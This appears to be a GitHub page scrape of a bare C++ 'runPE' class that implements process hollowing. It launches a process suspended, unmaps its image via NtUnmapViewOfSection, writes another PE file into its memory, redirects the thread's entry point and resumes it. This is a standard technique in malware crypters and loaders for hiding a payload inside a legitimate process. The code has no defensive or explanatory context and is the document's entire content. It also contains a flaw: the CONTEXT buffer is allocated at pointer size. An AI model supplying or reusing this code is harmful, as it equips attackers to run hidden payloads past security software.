Permalink
Cannot retrieve contributors at this time
Join GitHub today
GitHub is home to over 31 million developers working together to host and review code, manage projects, and build software together.
Sign up
Fetching contributors…

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); | |
class runPE{ | |
public: | |
void run(LPSTR szFilePath, PVOID pFile) | |
{ | |
PIMAGE_DOS_HEADER IDH; | |
PIMAGE_NT_HEADERS INH; | |
PIMAGE_SECTION_HEADER ISH; | |
PROCESS_INFORMATION PI; | |
STARTUPINFOA SI; | |
PCONTEXT CTX; | |
PDWORD dwImageBase; | |
NtUnmapViewOfSection xNtUnmapViewOfSection; | |
LPVOID pImageBase; | |
int Count; | |
IDH = PIMAGE_DOS_HEADER(pFile); | |
if (IDH->e_magic == IMAGE_DOS_SIGNATURE) | |
{ | |
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); | |
if (INH->Signature == IMAGE_NT_SIGNATURE) | |
{ | |
RtlZeroMemory(&SI, sizeof(SI)); | |
RtlZeroMemory(&PI, sizeof(PI)); | |
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) | |
{ | |
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); | |
CTX->ContextFlags = CONTEXT_FULL; | |
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) | |
{ | |
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); | |
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) | |
{ | |
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); | |
xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); | |
} | |
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); | |
if (pImageBase) | |
{ | |
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); | |
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) | |
{ | |
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); | |
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); | |
} | |
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); | |
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; | |
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); | |
ResumeThread(PI.hThread); | |
} | |
} | |
} | |
} | |
} | |
VirtualFree(pFile, 0, MEM_RELEASE); | |
} | |
}; |